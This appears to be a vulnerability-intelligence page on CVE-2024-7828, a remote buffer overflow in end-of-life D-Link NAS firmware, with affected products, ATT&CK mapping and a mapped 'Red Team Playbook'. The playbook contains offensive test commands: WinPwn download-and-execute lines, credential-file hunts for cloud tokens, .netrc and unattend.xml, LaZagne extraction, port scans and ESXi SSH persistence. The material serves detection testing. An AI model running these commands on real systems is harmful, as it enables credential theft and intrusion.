CVE-2024-7828

CRITICAL Pub 15/08 Upd 16/08

Overview

This vulnerability is a buffer overflow caused by improper handling of the album_name argument within the cgi_set_cover function of the /cgi-bin/photocenter_mgr.cgi component. The flaw arises from insufficient bounds checking on user-supplied input, allowing memory corruption in the affected D-Link DNS-120 firmware and related models. The vulnerable code path processes HTTP CGI requests, specifically manipulating album metadata.

Vulnerability Description

** UNSUPPORTED WHEN ASSIGNED ** A vulnerability classified as critical was found in D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05 and DNS-1550-04 up to 20240814. This vulnerability affects the function cgi_set_cover of the file /cgi-bin/photocenter_mgr.cgi. The manipulation of the argument album_name leads to buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. NOTE: This vulnerability only affects products that are no longer supported by the maintainer. NOTE: Vendor was contacted early and confirmed that the product is end-of-life. It should be retired and replaced.

Impact

An attacker with network access and low privileges can remotely exploit this vulnerability without user interaction to execute arbitrary code, modify system behavior, or cause denial of service by crashing the device. The CVSS vector indicates no user interaction (UI:N) is required, and the attack complexity is low (AC:L), making exploitation feasible over the network. Successful exploitation could lead to full compromise of the device, impacting data confidentiality, integrity, and availability in environments relying on these NAS devices.

Solution

No official patches or updates are available as the affected D-Link products are end-of-life and unsupported. The vendor has confirmed product retirement and recommends discontinuing use and replacing the affected devices. For detailed information, refer to the advisory at https://vuldb.com/?id.274726. Organizations should prioritize decommissioning these models to mitigate exposure.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A critical vulnerability has been identified in several D-Link network storage and surveillance products, specifically affecting the function cgi_set_cover within the file /cgi-bin/photocenter_mgr.cgi. This vulnerability arises from improper handling of the argument album_name, leading to a buffer overflow condition. When an attacker manipulates this argument, they can potentially overwrite memory locations, which may allow for arbitrary code execution. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a significant risk to systems utilizing these affected devices.

The attack vector for this vulnerability is particularly concerning due to its remote exploitability. An attacker does not need physical access to the device; instead, they can initiate the attack over the network. Given that the affected products are no longer supported by the vendor, there are no patches or updates available to mitigate this risk. This lack of support not only increases the likelihood of exploitation but also raises the stakes for organizations still utilizing these devices, as they may be unaware of the potential threats posed by their outdated technology.

In terms of real-world impact, the exploitation of this vulnerability can lead to severe consequences for businesses. Successful attacks could result in unauthorized access to sensitive data stored on the affected devices, disruption of services, or even complete system compromise. Organizations relying on these products for data storage or surveillance may face reputational damage, regulatory penalties, and financial losses. Additionally, the public disclosure of this vulnerability increases the urgency for organizations to act, as malicious actors are likely to develop and deploy exploits in the wild.

To detect and mitigate the risks associated with this vulnerability, organizations should first conduct an inventory of their networked devices to identify any affected D-Link products. Regular vulnerability assessments and penetration testing can help uncover potential weaknesses in their systems. Given the end-of-life status of these devices, the most effective long-term strategy is to replace them with supported alternatives that receive regular security updates. In the interim, organizations can implement network segmentation to limit exposure, employ intrusion detection systems to monitor for unusual activity, and enforce strict access controls to minimize the risk of exploitation.

In conclusion, the critical vulnerability affecting various D-Link products presents a significant threat to organizations still utilizing these devices. With the potential for remote exploitation and the absence of vendor support, the risk of data breaches and operational disruptions is heightened. Organizations must take proactive steps to identify affected devices, assess their risk posture, and implement appropriate mitigation strategies to safeguard their networks and sensitive information. Transitioning to supported products is essential for maintaining a robust security posture in an increasingly hostile cyber landscape.




CSURFACE threat intelligence has identified a significant increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-7828, rising by over one-third to a current level that places it near the top percentile of predicted exploit likelihood. This upward adjustment indicates growing confidence within the threat landscape that adversaries may actively target this critical buffer overflow vulnerability in D-Link devices. Although no new exploit code or active exploitation campaigns have been detected by our telemetry, the elevated EPSS score reflects heightened risk perception based on factors such as increased scanning activity or emerging exploit frameworks observed indirectly. For defenders, this shift underscores the urgency of reassessing exposure to affected devices, as the probability of exploitation attempts is materially higher than previously assessed. Consequently, the overall threat level for CVE-2024-7828 has escalated from a theoretical concern to a more imminent risk, warranting increased vigilance despite the absence of confirmed exploit deployments at this time.

Affected Products (20)

Vendor Product Version CPE
dlink Dlink Dns-120 Firmware N/A cpe:2.3:o:dlink:dns-120_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dnr-202l Firmware N/A cpe:2.3:o:dlink:dnr-202l_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-315l Firmware N/A cpe:2.3:o:dlink:dns-315l_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-320 Firmware N/A cpe:2.3:o:dlink:dns-320_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-320l Firmware N/A cpe:2.3:o:dlink:dns-320l_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-320lw Firmware N/A cpe:2.3:o:dlink:dns-320lw_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-321 Firmware N/A cpe:2.3:o:dlink:dns-321_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dnr-322l Firmware N/A cpe:2.3:o:dlink:dnr-322l_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-323 Firmware N/A cpe:2.3:o:dlink:dns-323_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-325 Firmware N/A cpe:2.3:o:dlink:dns-325_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-326 Firmware N/A cpe:2.3:o:dlink:dns-326_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-327l Firmware N/A cpe:2.3:o:dlink:dns-327l_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dnr-326 Firmware N/A cpe:2.3:o:dlink:dnr-326_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-340l Firmware N/A cpe:2.3:o:dlink:dns-340l_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-343 Firmware N/A cpe:2.3:o:dlink:dns-343_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-345 Firmware N/A cpe:2.3:o:dlink:dns-345_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-726-4 Firmware N/A cpe:2.3:o:dlink:dns-726-4_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-1100-4 Firmware N/A cpe:2.3:o:dlink:dns-1100-4_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-1200-05 Firmware N/A cpe:2.3:o:dlink:dns-1200-05_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-1550-04 Firmware N/A cpe:2.3:o:dlink:dns-1550-04_firmware:-:*:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

0 events

No threat activity recorded for this CVE.

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Buffer Overflow
95% buffer_overflow
Remote Code Execution
29% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-14 Client-side Injection-induced Buffer Overflow
54%
Medium High
CAPEC-9 Buffer Overflow in Local Command-Line Utilities
51%
High High
CAPEC-44 Overflow Binary Resource File
47%
High Very High
CAPEC-42 MIME Conversion
42%
High High
CAPEC-100 Overflow Buffers
42%
High Very High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (6)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-7828
vuldb.com
GitHub CVE vdb-entry technical-description
https://vuldb.com/?id.274726
vuldb.com
GitHub CVE signature permissions-required
https://vuldb.com/?ctiid.274726
vuldb.com
GitHub CVE third-party-advisory
https://vuldb.com/?submit.390114
github.com
GitHub CVE exploit
https://github.com/BuaaIOTTeam/Iot_Dlink_NAS/blob/main/DNS_cgi_set_cover.md
supportannouncement.us.dlink.com
GitHub CVE related
https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10383